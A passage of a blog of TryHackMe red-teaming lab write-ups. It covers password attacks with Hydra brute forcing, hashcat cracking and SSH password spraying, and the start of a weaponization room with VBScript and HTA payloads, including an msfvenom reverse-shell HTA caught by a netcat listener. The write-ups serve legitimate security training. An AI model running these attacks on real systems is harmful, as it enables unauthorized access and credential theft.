tailored wordlists with relevant words like names, locations, and industry terminology.\nCreating a custom wordlist example:\n# -w:file | -m:words min. 5 chars | -d:depth level of web crawling cewl -w list.txt -d 5 -m 5 http://thm.labs Username wordlists\nAttackers can generate username lists based on employee names obtained during the enumeration stage. By combining first and last names in various formats (e.g., {first name}{last name}, {first letter of first name}{last name}, etc.), a comprehensive list of potential usernames can be created using tools like username_generator.\nThis approach increases the effectiveness of password attacks by targeting specific companies and their employees, enhancing the chances of successful unauthorized access.\nExample: Create username combinations for \u0026ldquo;John Smith\u0026rdquo;:\n# download the tool git clone https://github.com/therodri2/username_generator.git cd username_generator # check usage python3 username_generator.py -h # generate possible username list for \u0026#34;John Smith\u0026#34; echo \u0026#34;John Smith\u0026#34; \u0026gt; users.lst python3 username_generator.py -w users.lst Question 1: What are the default login credentials (in the format of username:password) for a Juniper Networks ISG 2000 device? Make sure to check the hint.\nnetscreen:netscreen\nKeyspace Technique The keyspace technique is a method for generating custom wordlists using tools like Crunch, involving the specification of character ranges, numbers, and symbols to create comprehensive lists of possible combinations.\nCrunch offers various options, such as min (minimum length), max (maximum length), and character sets (e.g., lowercase alpha, uppercase alpha, numeric, special characters).\nExample 1: Generate a wordlist containing all possible combinations of two characters.\ncrunch 2 2 01234abcd -o crunch.txt Example 2: Generate an eight-character password list with numbers 0–9 and uppercase and lowercase letters a–f and A–F.\n# BEWARE: crunch.txt is a 459 GB file containing over 54 billion words crunch 8 8 0123456789abcdefABCDEF -o crunch.txt It is possible to specify the character set if a part of the password is known:\nLowercase alpha character: @ Uppercase alpha characters: \\, Numeric characters: % Special characters including space: ^ Example: crunch 6 6 -t pass%% - starts with \u0026lsquo;pass\u0026rsquo;, followed by two numbers. Common User Passwords Profiler (CUPP) CUPP is a Python-based tool for creating custom wordlists based on known information about a target, such as birthdate, pet name, or company name. It supports an interactive mode where it asks questions and generates a tailored wordlist based on user inputs.\nSome of these inputs could include: first name, surname, nickname, birthdate, partner\u0026rsquo;s name, partner\u0026rsquo;s nickname, partner\u0026rsquo;s birthdate, child\u0026rsquo;s name, child\u0026rsquo;s nickname, child\u0026rsquo;s birthdate, pet\u0026rsquo;s name, company name, keywords, special characters or random numbers at the end of words, and leet mode options.\nIt also includes a 1337/leet mode for substituting letters with numbers (e.g., a becomes 4) and can generate default usernames and passwords from the Alecto database using the -a option.\nInstallation:\n# download the tool git clone https://github.com/Mebus/cupp.git cd cupp # check the available options python3 cupp.py Usage examples:\n# check usage python3 cupp.py # start the interactive mode python3 cupp.py -i # download pre-created wordlists python3 cupp.py -l # provide default usernames and passwords from the Alecto database python3 cupp.py -a Questions and Answers Question 1: Run the following crunch command: \u0026lsquo;crunch 2 2 01234abcd -o crunch.txt\u0026rsquo;. How many words did crunch generate?\n81\nSimply running the provided command will produce the result.\nuser@kali:~$ crunch 2 2 01234abcd -o crunch.txt Crunch will now generate the following amount of data: 243 bytes ... Crunch will now generate the following number of lines: 81 ... crunch: 100% completed generating output user@kali:~$ Question 2: What is the crunch command to generate a list containing THM@% and output to a file named tryhackme.txt? Handle @ and % as special characters and not regex like specifications for the tool. (@ - lower case alpha character; % - numeric characters)\ncrunch 5 5 -t \u0026quot;THM^^\u0026quot; -o tryhackme.txt\nOffline Attacks Dictionary Attack A dictionary attack is a password-guessing technique that utilizes common words or phrases from pre-generated wordlists. It relies entirely on pre-gathered wordlists that were previously generated or discovered.\nStep 1: Identify the hash type.\nUse hashid or hash-identifier.\nStep 2: Identify the applied wordlist and attack mode.\nList supported hash types: hashcat -h Set the attack mode to a dictionary attack: hashcat -a 0 Step 3: Run the attack.\nExample: Cracking the MD5 hash f806fc5a2a0d5ba2471600758452799c with the rockyou.txt wordlist.\n# -a 0 | attack mode is dictionary attack; -m 0 | hash type is MD5; rockyou wordlist hashcat -a 0 -m 0 f806fc5a2a0d5ba2471600758452799c /usr/share/wordlists/rockyou.txt # show the cracked value hashcat -a 0 -m 0 F806FC5A2A0D5BA2471600758452799C /usr/share/wordlists/rockyou.txt --show Brute-Force Attack Brute-force attacks guess passwords through systematic trials of all possible combinations. Unlike dictionary attacks that use pre-compiled wordlists, brute-force attempts every conceivable character sequence.\nWe can use Hashcat\u0026rsquo;s charset options to generate our own combinations.\nuser@kali:~$ hashcat --help ? | Charset ===+========= l | abcdefghijklmnopqrstuvwxyz u | ABCDEFGHIJKLMNOPQRSTUVWXYZ d | 0123456789 h | 0123456789abcdef H | 0123456789ABCDEF s | !\"#$%\u0026'()*+,-./:;\u003c=\u003e?@[\\]^_`{|}~ a | ?l?u?d?s b | 0x00 - 0xff ... user@kali:~$ Example 1: If a four-digit PIN is suspected, a brute-force attack would try all numbers from 0000 to 9999.\n# -a 3 | attack mode: brute-force attack; ?d?d?d?d --\u0026gt; 4 digit; --stdout: print result to stdout hashcat -a 3 ?d?d?d?d --stdout Example 2: Crack the hash of a four-digit PIN.\n# brute-force | MD5 | 4-digit hashcat -a 3 -m 0 05A5CF06982BA7892ED2A6D38FE832D6 ?d?d?d?d Questions and Answers Question 1: Considering the following hash: 8d6e34f987851aa599257d3831a1af040886842f. What is the hash type?\nsha-1\nWe can verify this using both hashid and hash-identifier.\nuser@kali:~$ hashid 8d6e34f987851aa599257d3831a1af040886842f Analyzing '8d6e34f987851aa599257d3831a1af040886842f' [+] SHA-1 [+] Double SHA-1 [+] RIPEMD-160 [+] Haval-160 [+] Tiger-160 [+] HAS-160 [+] LinkedIn [+] Skein-256(160) [+] Skein-512(160) user@kali:~$ hash-identifier 8d6e34f987851aa599257d3831a1af040886842f ... Possible Hashs: [+] SHA-1 [+] MySQL5 - SHA-1(SHA-1($pass)) Least Possible Hashs: [+] Tiger-160 ... user@kali:~$ Question 2: Perform a dictionary attack against the following hash: 8d6e34f987851aa599257d3831a1af040886842f. What is the cracked value? Use the rockyou.txt wordlist.\nsunshine\nuser@kali:~$ hashcat -a 0 -m 100 8d6e34f987851aa599257d3831a1af040886842f /usr/share/wordlists/rockyou.txt ... Host memory required for this attack: 1 MB ... Dictionary cache hit: * Filename..: /usr/share/wordlists/rockyou.txt * Passwords.: 14344385 * Bytes.....: 139921507 * Keyspace..: 14344385 ... 8d6e34f987851aa599257d3831a1af040886842f:sunshine ... user@kali:~$ hashcat -a 0 -m 100 8d6e34f987851aa599257d3831a1af040886842f /usr/share/wordlists/rockyou.txt --show 8d6e34f987851aa599257d3831a1af040886842f:sunshine user@kali:~$ Question 3: Perform a brute-force attack against the following MD5 hash: e48e13207341b6bffb7fb1622282247b. What is the cracked value?\nNote the password is a 4 digit number: [0-9][0-9][0-9][0-9]\n1337\nuser@kali:~$ hashcat -a 3 -m 0 e48e13207341b6bffb7fb1622282247b ?d?d?d?d ... e48e13207341b6bffb7fb1622282247b:1337 ... user@kali:~$ Rule-Based Attacks Also known as hybrid attacks, rule-based attacks combine wordlists with custom rules to generate complex password variations. This method assumes knowledge of the password policy.\nBy applying rules, users create passwords within defined guidelines, aiming to produce valid passwords only.\nPassword mangling (manipulating): password \u0026ndash;\u0026gt; p@ssword, Pa$$word, Passw0rd.\nPre-existing rules are available in John the Ripper.\n# config file: /etc/john/john.conf (Kali) | /opt/john/john.conf # list all the available rules for John the Ripper cat /etc/john/john.conf | grep \u0026#34;List.Rules:\u0026#34; | cut -d\u0026#34;.\u0026#34; -f3 | cut -d\u0026#34;:\u0026#34; -f2 | cut -d\u0026#34;]\u0026#34; -f1 | awk NF Example 1: Use the best64 built-in John rule.\necho \u0026#34;tryhackme\u0026#34; \u0026gt; /tmp/single-password-list.txt # --rules: which rule to use | --stdout: print to terminal john --wordlist=/tmp/single-password-list.txt --rules=best64 --stdout Example 2: Use the KoreLogic rule to generate a complex password list \u0026ndash; from one single password, 7,089,833 passwords.\njohn --wordlist=single-password-list.txt --rules=KoreLogic --stdout Custom Rules John the Ripper custom rule resources:\nJohn the Ripper guide by Openwall Custom Credential Mutations by Rapid7 Example: Create a custom rule for John.\nThe goal is to add special characters (e.g., !@#$*\u0026amp;) to the beginning of each word and add numbers 0–9 at the end, creating a pattern like this: [symbols]word[0-9].\nStep 1: Add the rule to the config file.\nsudo vim /etc/john/john.conf # specify the rule and add it to the end of the config file [List.Rules:THM-Password-Attacks] Az\u0026#34;[0-9]\u0026#34; ^[!@#$] # Az : single word from the wordlist # \u0026#34;[0-9]\u0026#34; : single digit (0-9) # ^[!@#$] : special char at the beginning of each word (^) # $ would mean append to the end of the line/word Step 2: Apply the rule.\n# create simple password list echo \u0026#34;password\u0026#34; \u0026gt; /tmp/single.lst # apply the custom rule john --wordlist=/tmp/single.lst --rules=THM-Password-Attacks --stdout Question 1: What syntax would you use to create a rule to produce the following: \u0026ldquo;S[Word]NN where N is Number and S is a symbol of !@?\nAz\u0026quot;[0-9][0-9]\u0026quot; ^[!@]\nDeploy the VM Preparing for the Future Task\nObjective: \u0026ldquo;Apply what we discuss using cewl against https://clinic.thmredteam.com/ to parse all words and generate a wordlist with a minimum length of 8. Note that we will be using this wordlist later on with another task!\u0026rdquo;\nInstall Cewl:\nsudo apt install cewl Create the wordlist and save it as clinic.txt.\nuser@kali:~$ cewl -w clinic.txt -d 5 -m 8 https://clinic.thmredteam.com/ ... user@kali:~$ head clinic.txt protected Research Oxytocin Paracetamol Cortisol appointment Cardiology February providing treatment ... user@kali:~$ cat clinic.txt | wc -l 105 Generate your custom wordlist for the following tasks.\ncewl -m 8 -w clinic.lst https://clinic.thmredteam.com/ Question 1: Get your pentest weapons ready to attack \u0026lt;targetbox-ip\u0026gt;.\nNo answer needed\nOnline Password Attacks Online password attacks target networked services using username and password authentication schemes, such as HTTP, SSH, VNC, FTP, SNMP, POP3, etc.\nHydra is a popular tool for brute-forcing logins on various network services like web login pages, FTP, SMTP, and SSH.\nOther online password attack tools include Medusa and Ncrack.\nAttacking Network Services with Hydra FTP\n# -l: specify user name; -L for username wordlist # -P: password wordlist path; -p for single password # ftp://\u0026lt;target-ip\u0026gt;: specify the protocol and the fully qualified domain name of the target hydra -l ftp -P passlist.txt ftp://10.10.x.x SMTP\nhydra -l email@company.xyz -P /path/to/wordlist.txt smtp://10.10.x.x -v SSH\nhydra -L users.lst -P /path/to/wordlist.txt ssh://10.10.x.x -v HTTP Login Pages\nFirst, we need to understand what we are brute-forcing. Therefore, analyze the HTTP request that needs to be sent (using browser dev tools or a web proxy like Burp Suite).\nFor more information about the options and correct command use, refer to the man pages or the tool documentation.\n# supported HTTP services http[s]-{head|get|post} http[s]-{get|post}-form http-proxy http-proxy-urlenum # POST request hydra http-post-form -U # GET request hydra http-get-form -U # Syntax \u0026lt;url\u0026gt;:\u0026lt;form parameters\u0026gt;[:\u0026lt;optional\u0026gt;[:\u0026lt;optional\u0026gt;]:\u0026lt;condition string] Note regarding the elimination of false positives:\nThe following section is important to eliminate false positives by specifying the \u0026lsquo;failed\u0026rsquo; condition with F=.\nAnd success conditions, S=. You will have more information about these conditions by analyzing the webpage or in the enumeration stage! What you set for these values depends on the response you receive back from the server for a failed login attempt and a successful login attempt. For example, if you receive a message on the webpage \u0026lsquo;Invalid password\u0026rsquo; after a failed login, set F=Invalid Password.\nOr for example, during the enumeration, we found that the webserver serves logout.php. After logging into the login page with valid credentials, we could guess that we will have logout.php somewhere on the page. Therefore, we could tell hydra to look for the text logout.php within the HTML for every request.\nEliminate false positives by specifying the failed condition:\nInvalid condition login check can be preceded by F=. Successful condition login checks by S=. Example: Brute-force the target web server with S=logout.php as the success condition to identify the valid credentials, automatically stopping the attack upon success.\n# -l : username; -P : password wordlist; 10.10.x.x : target-ip; http-get-form : target-service # login-get/index.php : the path of the login page on the target web server # username=^USER^\u0026amp;password=^PASS^ : the parameters to brute-force, we inject ^USER^ to brute force usernames and ^PASS^ for passwords from the specified dictionary # S=logout.php : the success condition to identify the valid credentials # -f : stop the brute-forcing attacks after finding a valid username and password hydra -l admin -P 500-worst-passwords.txt 10.10.x.x http-get-form \u0026#34;/login-get/index.php:username=^USER^\u0026amp;password=^PASS^:S=logout.php\u0026#34; -f Questions and Answers Question 1: Can you guess the FTP credentials without brute-forcing? What is the flag?\n\u0026lt;redacted-flag\u0026gt;\nGiven the question, we can make an educated guess that we have a case of default credentials on our hands.\nThe most prominent credentials for FTP are: ftp:ftp. We verified this with Hydra, and it worked.\nuser@kali:~$ hydra -l ftp -p ftp ftp://10.10.11.137 ... [DATA] max 1 task per 1 server, overall 1 task, 1 login try (l:1/p:1), ~1 try per task [DATA] attacking ftp://10.10.11.137:21/ [21][ftp] host: 10.10.11.137 login: ftp password: ftp 1 of 1 target successfully completed, 1 valid password found ... user@kali:~$ We used these default credentials to access the service and retrieve our flag.\nuser@kali:~$ ftp ftp://ftp:ftp@10.10.11.137 Connected to 10.10.11.137. ... 230 Login successful. ... ftp\u003e ls ... drwxr-xr-x 2 111 116 4096 ... files .. ftp\u003e cd files ... ftp\u003e ls ... -rw-r--r-- 1 0 0 38 ... flag.txt ... ftp\u003e get flag.txt ... ftp\u003e exit ... user@kali:~$ ls ... flag.txt ... user@kali:~$ cat flag.txt THM{} user@kali:~$ Question 2: In this question, you need to generate a rule-based dictionary from the wordlist clinic.lst in the previous task. Email: pittman@clinic.thmredteam.com against \u0026lt;machine-ip\u0026gt;:465 (SMTPS). What is the password?\nNote that the password format is as follows: [symbol][dictionary word][0-9][0-9].\n!multidisciplinary00\nGiven the issues encountered, we provide the password in full here rather than omitting it, as is customary in TryHackMe writeup policies.\nStory of a Potentially Broken SMTP Service\nSadly, even with the correct password (the one accepted by TryHackMe), the SMTP service would not authenticate. After the first sixteen connections, it would simply stop any further attempts.\nuser@kali:~$ hydra -l pittman@clinic.thmredteam.com -P ./mangled-clinic.lst smtp://10.10.235.154:465 -V -I ... [DATA] max 16 tasks per 1 server, overall 16 tasks, 21000 login tries (l:1/p:21000), ~1313 tries per task [DATA] attacking smtp://10.10.235.154:465/ [ATTEMPT] target 10.10.235.154 - login \"pittman@clinic.thmredteam.com\" - pass \"!protected00\" - 1 of 21000 [child 0] (0/0) ... [ATTEMPT] target 10.10.235.154 - login \"pittman@clinic.thmredteam.com\" - pass \"!Saturday00\" - 16 of 21000 [child 15] (0/0) ... [WARNING] SMTP does not allow connecting: [ERROR] all children were disabled due to many connection errors 0 of 1 target completed, 0 valid password found ... user@kali:~$ Even when the correct password (originally at the 32nd line) was manually moved to the eighth place in order to be present during the first attempts, authentication still failed.\nuser@kali:~$ hydra -l pittman@clinic.thmredteam.com -P ./mod_mangled-clinic.lst smtp://10.10.235.154:465 -V ... [DATA] max 16 tasks per 1 server, overall 16 tasks, 21000 login tries (l:1/p:21000), ~1313 tries per task [DATA] attacking smtp://10.10.235.154:465/ ... [ATTEMPT] target 10.10.235.154 - login \"pittman@clinic.thmredteam.com\" - pass \"!multidisciplinary00\" - 8 of 21000 [child 7] (0/0) ... [WARNING] SMTP does not allow connecting: ... [ERROR] all children were disabled due to many connection errors 0 of 1 target completed, 0 valid password found ... user@kali:~$ We tried the most common troubleshooting steps:\nReset and restarted the target box Tried port 25 (which does not allow login) instead of port 465 Attempted direct connection using the single password Adjusted thread settings Specified the port with the -s flag instead of appending to the IP Tried different special character lists for symbols: \u0026ldquo;$%^\u0026amp;*()-_+=|\u0026lt;\u0026gt;[]{}#@/~.,:;\u0026rsquo;?!`\u0026rdquo; with escape characters And various other approaches Sadly, nothing worked, so we had to move on. The original intended attack path is as follows.\nStep 1: Generate the aforementioned clinic.lst.\nuser@kali:~$ cewl -m 8 -w clinic.lst https://clinic.thmredteam.com/ ... user@kali:~$ Step 2: Determine the correct John rule using the provided format by breaking it down.\n[symbol] at the beginning of the word \u0026ndash;\u0026gt; ^[$%^\u0026amp;*()-_+=|\\\u0026lt;\u0026gt;[]{}#@/~] [dictionary word] \u0026ndash;\u0026gt; Az [0-9][0-9] \u0026ndash;\u0026gt; \u0026quot;[0-9][0-9]\u0026quot; Combined \u0026ndash;\u0026gt; Az\u0026quot;[0-9][0-9]\u0026quot; ^[$%^\u0026amp;*()-_+=|\\\u0026lt;\u0026gt;[]{}#@/~] Step 3: Add it as a rule TEST-SYM-W-DIG-DIG and verify it.\nAppend the rule to the John configuration file:\nsudo vim /etc/john/john.conf # append at the end of the file # make sure to escape the special characters with `\\` # read the **Hint** about special characters [List.Rules:Test-Sym-W-Dig-Dig] Az\u0026#34;[0-9][0-9]\u0026#34; ^[!@] Verify it works as intended:\n# create a simple password list with only \u0026#34;test\u0026#34; as its member echo \u0026#34;test\u0026#34; \u0026gt; test.lst # run john on it with our custom rule john --wordlist=./test.lst --rules=test-sym-w-dig-dig --stdout # check if the generated list matches your criteria Step 4: Apply our custom rule to the gathered possible password list.\nuser@kali:~$ john --wordlist=./clinic.lst --rules=test-sym-w-dig-dig --stdout \u003e mangled-clinic.lst ... user@kali:~$ head -n 10 mangled-clinic.lst !protected00 !Research00 !Oxytocin00 !Paracetamol00 !Cortisol00 !appointment00 !Cardiology00 !February00 !providing00 !treatment00 ... user@kali:~$ Step 5: Use Hydra to attack the SMTP service. As noted earlier, this is where we encountered the issue.\n# email: pittman@clinic.thmredteam.com # target: \u0026lt;targetbox-ip\u0026gt; # port: 465 # sadly did not produce the expected result hydra -l pittman@clinic.thmredteam.com -P ./mangled-clinic.lst smtp://10.10.235.154:465 -v Question 3: Perform a brute-forcing attack against the phillips account for the login page at http://\u0026lt;machine-ip\u0026gt;/login-get using hydra? What is the flag?\n\u0026lt;redacted-flag\u0026gt;\nStep 1: Use the same configuration for eliminating false positives with success condition as in the demonstration above.\nuser@kali:~$ hydra -l phillips -P clinic.lst 10.10.235.154 http-get-form \"/login-get/index.php:username=^USER^\u0026password=^PASS^:S=logout.php\" -f ... [DATA] max 16 tasks per 1 server, overall 16 tasks, 105 login tries (l:1/p:105), ~7 tries per task [DATA] attacking http-get-form://10.10.235.154:80/login-get/index.php:username=^USER^\u0026password=^PASS^:S=logout.php [80][http-get-form] host: 10.10.235.154 login: phillips password: Paracetamol [STATUS] attack finished for 10.10.235.154 (valid pair found) 1 of 1 target successfully completed, 1 valid password found ... user@kali:~$ Step 2: Log in with the discovered password.\nFigure 1: HTTP login for the phillips account\nThe login succeeded. We retrieved the flag.\nFigure 2: Flag displayed after successful authentication as phillips\nQuestion 4: Perform a rule-based password attack to gain access to the burgess account. Find the flag at the following website: http://\u0026lt;machine-ip\u0026gt;/login-post/.\nWhat is the flag? Note: use the clinic.lst dictionary in generating and expanding the wordlist!\n\u0026lt;redacted-flag\u0026gt;\nStep 1: Search for the aforementioned \u0026ndash; from the hint \u0026ndash; Single-Extra rule.\nuser@kali:~$ cat /etc/john/john.conf | grep \"List.Rules:\" | cut -d\".\" -f3 | cut -d\":\" -f2 | cut -d\"]\" -f1 | awk NF | grep -i single JumboSingle Single Single-Extra ... user@kali:~$ Step 2: Apply the rule to the clinic.lst dictionary.\nuser@kali:~$ john --wordlist=./clinic.lst --rules=single-extra --stdout \u003e single-clinic.lst ... user@kali:~$ head -n 10 single-clinic.lst protected Research Oxytocin Paracetamol Cortisol appointment Cardiology February providing treatment ... user@kali:~$ Step 3: Perform the attack and guess passwords. We found a match.\nuser@kali:~$ hydra -l burgess -P single-clinic.lst 10.10.235.154 http-post-form \"/login-post/index.php:username=^USER^\u0026password=^PASS^:S=logout.php\" -f ... [DATA] attacking http-post-form://10.10.235.154:80/login-post/index.php:username=^USER^\u0026password=^PASS^:S=logout.php ... [80][http-post-form] host: 10.10.235.154 login: burgess password: OxytocinnicotyxO ... 1 of 1 target successfully completed, 1 valid password found ... user@kali:~$ Step 4: Log in to retrieve the flag.\nFigure 3: HTTP login for the burgess account\nSuccess. We copied the flag and moved on to the last task.\nFigure 4: Flag displayed after successful authentication as burgess\nPassword Spray Attack Password Spraying is an effective method for uncovering weak user credentials across various online services and authentication systems. Unlike brute-force attacks that focus on one username with multiple weak passwords, password spraying employs a single common weak password against numerous users to bypass account lockout policies.\nCommon weak passwords often follow patterns:\nThe current season followed by the year (e.g., Fall2020) Month followed by the year (e.g., November2020) Using the company name with random numbers (e.g., TryHackMe01) If password complexity policies are enforced, symbols must be included to meet requirements (e.g., October2021!, Spring2021!).\nTo successfully execute a password spraying attack, the target must be enumerated and a list of valid usernames or email addresses must be created.\nAttacking Network Services This section assumes that we have already enumerated the system and created a valid username list.\nSSH\n# -L : to load the list of valid usernames hydra -L usernames-list.txt -p Spring2021 ssh://10.1.1.10 RDP\nUse the RDPassSpray tool.\nExample 1: Single user, password, and machine.\n# -u: single user | -p: single password | -t target machine python3 RDPassSpray.py -u victim -p Spring2021! -t 10.100.10.240:3026 Example 2: Multiple users, single password, and multiple targets with domain.\n# -U: userlist; -d: domain name (if Active Directory environment); -T: targets list python3 RDPassSpray.py -U usernames-list.txt -p Spring2021! -d THM-labs -T RDP_servers.txt OWA (Outlook Web Access)\nUse one of the following tools:\nSprayingToolkit MailSniper SMB\nUse the Metasploit auxiliary/scanner/smb/smb_login module.\nQuestions and Answers Question 1: Perform a password spraying attack to get access to the SSH://\u0026lt;machine-ip\u0026gt; server to read /etc/flag. What is the flag?\n\u0026lt;redacted-flag\u0026gt;\nStep 1: Review the hint and create a sketch.\nHint: \u0026ldquo;season+ year + special character. For the season, consider using Fall instead Autumn. For year, try years between (2020-2021)\u0026rdquo;\nSketch/Idea about the password:\nSeasons: Winter, Spring, Summer, Fall (switched from Autumn)\n+\nYear: 2020, 2021\n+\nSpecial Character: !@#$%^\u0026amp;*()+=.?\nStep 2: Create a custom John rule and add it to its config file.\nsudo vim /etc/john/john.conf # insert it at the end of the config file [List.Rules:Test-Season-Year-Special] Az\u0026#34;[2][0][2][0-1]\u0026#34; $[\\!\\@\\#\\$\\%\\^\\\u0026amp;\\*\\(\\)\\+\\=\\.\\?] Step 3: Create a simple dictionary containing the different seasons.\nvim seasons.lst # insert the following text Winter Spring Summer Fall winter spring summer fall Step 4: Create the custom password list as specified in the hint.\nuser@kali:~$ john --wordlist=seasons.lst --rules=test-season-year-special --stdout \u003e password-spraying-dictionary.txt ... user@kali:~$ head -n 10 password-spraying-dictionary.txt Winter2020! Spring2020! Summer2020! Fall2020! winter2020! spring2020! summer2020! fall2020! Winter2020@ Spring2020@ ... user@kali:~$ Step 5: Create the usernames list as specified.\nuser@kali:~$ cat \u003e usernames-list.txt admin phillips burgess pittman guess ^C ... user@kali:~$ cat usernames-list.txt admin phillips burgess pittman guess ... user@kali:~$ Step 6: Execute the password spray.\nuser@kali:~$ hydra -L usernames-list.txt -P password-spraying-dictionary.txt ssh://10.10.120.139 -V -I ... [DATA] max 16 tasks per 1 server, overall 16 tasks, 1120 login tries (l:5/p:224), ~70 tries per task [DATA] attacking ssh://10.10.120.139:22/ ... [ATTEMPT] target 10.10.120.139 - login \"burgess\" - pass \"summer2021@\" - 575 of 1121 [child 13] (0/1) [22][ssh] host: 10.10.120.139 login: burgess password: Fall2021@ [ATTEMPT] target 10.10.120.139 - login \"pittman\" - pass \"Winter2020!\" - 673 of 1121 [child 9] (0/1) ... 1 of 1 target successfully completed, 1 valid password found ... user@kali:~$ Step 7: Log in with the found credentials \u0026ndash; burgess:Fall2021@ \u0026ndash; and retrieve the flag.\nuser@kali:~$ssh burgess@10.10.120.139 ... burgess@10.10.120.139's password: ... burgess@ip-10-10-120-139:~$ pwd /home/burgess burgess@ip-10-10-120-139:~$ cat /etc/flag THM{\u0026lt;redacted-flag\u0026gt;} burgess@ip-10-10-120-139:~$ Summary Question 1: Hope you enjoyed the room and keep learning!\nNo answer needed\n","permalink":"https://onebee.blog/blog/thm/red-teaming/initial-access/password-attacks/","summary":"THM | Red Teaming | Initial Access | Password Attacks","title":"Password Attacks"},{"content":"CHALLENGE INFORMATION\nPlatform: TryHackMe\nPath: Red Teaming\nModule: Initial Access\nRoom: Weaponization DESCRIPTION:\nUnderstand and explore common red teaming weaponization techniques. You will learn to build custom payloads using common methods seen in the industry to get initial access.\nLearning Objectives The Windows Script Host (WSH) An HTML Application (HTA) Visual Basic Applications (VBA) PowerShell (PSH) Introduction The Red-Teaming-Toolkit contains resources for initial access, payload development, delivery methods, and more.\nWeaponization is the second stage of the Cyber Kill Chain model, following Reconnaissance. In this phase, attackers create their own malicious code using payloads like Word documents or PDFs to exploit target machines and gain initial access.\nAs many organizations use Windows OS and block .exe files for security, red teamers use alternative methods such as phishing campaigns, social engineering, browser exploitation, USB, or web-based attacks.\nCommon techniques used during weaponization include:\nWindows Script Host (WSH) HTML Applications (HTA) Visual Basic Applications (VBA) PowerShell (PSH) These methods allow attackers to execute payloads without relying on .exe files, which are often monitored or blocked in controlled environments.\nQuestion 1: Let\u0026rsquo;s deploy the target machine in the next task, and we\u0026rsquo;ll get started with the Windows Script Host technique in the subsequent task!\nNo answer needed\nDeploy the Windows Machine Credentials:\nUsername: thm Password: TryHackm3 Question 1: Deploy the attached Windows machine and connect to it via the RDP client. Once this is done, move to the next task.\nNo answer needed\nWe prefer connecting via RDP with the following one-liner:\nxfreerdp3 /u:\u0026#34;thm\u0026#34; /p:TryHackM3 /v:\u0026lt;targetbox-ip\u0026gt; /dynamic-resolution /compression /network:auto /gfx:AVC420:on +clipboard -themes Windows Scripting Host (WSH) Windows Scripting Host (WSH) is a built-in Windows tool for automating and managing tasks through batch files using Microsoft Visual Basic Scripts (VBScript).\nIt consists of cscript.exe for command-line scripts and wscript.exe for UI scripts. VBScript executes with regular user permissions, making it useful for red teaming.\nComparison: cscript.exe (command line) vs. wscript.exe (UI script)\nWhen writing a script for WSH, choose between cscript.exe and wscript.exe based on whether your script requires interactive GUI elements or simply needs to execute commands without user intervention.\nStep 1: First, open a command prompt and navigate to the Desktop.\n: navigate to desktop cd C:\\Users\\thm\\Desktop : create hello.vbs echo. \u0026gt;hello.vbs : edit the file with notepad notepad hello.vbs Step 2: Paste in the following demo code.\n\u0026#39;\u0026lt;hello.vbs\u0026gt; Dim message message = \u0026#34;Welcome to THM\u0026#34; MsgBox message Step 3: Run it.\nwscript hello.vbs Step 4: Next, continue with payload.vbs.\n: create a file echo. \u0026gt;payload.vbs : edit it with notepad notepad payload.vbs Step 5: Paste in the following demo code.\n\u0026#39;\u0026lt;payload.vbs\u0026gt; Set shell = WScript.CreateObject(\u0026#34;Wscript.Shell\u0026#34;) shell.Run(\u0026#34;C:\\Windows\\System32\\calc.exe \u0026#34; \u0026amp; WScript.ScriptFullName),0,True Step 6: Run it.\nwscript payload.vbs Step 7: Rename payload.vbs to payload.txt.\nrename payload.vbs payload.txt Step 8: Rerun it, this time explicitly defining the script engine.\nwscript /e:VBScript c:\\users\\thm\\desktop\\payload.txt Question 1: Try to replace the calc.exe binary to execute cmd.exe within the Windows machine.\nNo answer needed\nTheoretically, all we would need to do is modify payload.txt to the following:\n\u0026#39;\u0026lt;payload.txt\u0026gt; Set shell = WScript.CreateObject(\u0026#34;Wscript.Shell\u0026#34;) shell.Run(\u0026#34;C:\\Windows\\System32\\cmd.exe \u0026#34; \u0026amp; WScript.ScriptFullName),0,True Sadly, it does not seem to work.\nHTML Application (HTA) An HTML Application (HTA) is a self-contained file combining HTML, scripts (e.g., JavaScript, VBScript), and other resources. It allows for dynamic web-like content in a single downloadable executable.\nTypically executed using the mshta tool (LOLBAS \u0026ndash; Living Off The Land Binaries and Scripts), which runs either manually or automatically via the internet browser, HTAs enable creation of installations, configurations, or other applications that require all necessary components in one file.\nHTA PoC - Local HTA PoC payload for local CMD execution\nStep 1: Create the HTA payload on the attack box.\nCreate the HTA payload file \u0026ndash; payload.hta \u0026ndash; on our attack box (Kali, in our case).\n# change to Desktop cd Desktop # create the hta file touch payload.hta # copy and paste the payload into the file vim payload.hta HTA PoC payload for opening cmd.exe with ActiveXObject():\n\u0026lt;html\u0026gt; \u0026lt;body\u0026gt; \u0026lt;script\u0026gt; var c= \u0026#39;cmd.exe\u0026#39; new ActiveXObject(\u0026#39;WScript.Shell\u0026#39;).Run(c); \u0026lt;/script\u0026gt; \u0026lt;/body\u0026gt; \u0026lt;/html\u0026gt; Step 2: Serve the payload via a Python web server on the attack box.\n# in the same directory where our payload.hta file is resting python3 -m http.server 8090 # wait for connections Step 3: Download and execute the payload on the target box.\nUse the provided browser (Edge) and navigate to where your payload is served: http://\u0026lt;attackbox-ip\u0026gt;:8090.\nThen click our HTA payload file and select Run. If everything worked correctly, a CMD window should pop up.\nHTA PoC - Reverse Shell HTA Reverse Connection - Python Web Server\nWarning regarding port 443 (requires root privileges): \u0026ldquo;On the attacking machine, we need to listen on port 443 using nc. Please note this port needs root privileges to open, or you can use different ones.\u0026rdquo; Step 1: Create the reverse shell HTA payload with MsfVenom on the attack box.\nmsfvenom -p windows/x64/shell_reverse_tcp LHOST=\u0026lt;attackbox-ip\u0026gt; LPORT=443 -f hta-psh -o thm.hta Step 2: Start the listener on the attack box.\nsudo nc -lvp 443 Step 3: Serve the payload with a Python web server on the attack box.\n# in the same directory where our reverse shell payload (thm.hta) is located python3 -m http.server 8090 Step 4: Download and run the HTA reverse shell payload on the target box.\nUse the provided browser (Edge) and navigate to where your payload is served: http://\u0026lt;attackbox-ip\u0026gt;:8090.\nThen click our HTA payload file and select Run.\nStep 5: Catch the reverse shell on the attack box.\nMake sure you catch the reverse connection back to the attack box with the Netcat listener and that you have a shell to the target box.\nuser@kali:~$ sudo nc -lvp 443 listening on [any] 443 ... 10.10.55.169: inverse host lookup failed: Unknown host connect to [10.14.95.186] from (UNKNOWN) [10.10.55.169] 50173 Microsoft Windows [Version 10.0.14393] ... C:\\Users\\thm\\Downloads\u003ewhoami whoami desktop-1au6nt4\\thm ... C:\\Users\\thm\\Downloads\u003e HTA Reverse Connection - Metasploit hta_server module\nStep 1: Fire up Metasploit on the attack box.\nmsfconsole -q Step 2: Select and configure the hta_server module.\n# configure the listener (attack box) set LHOST 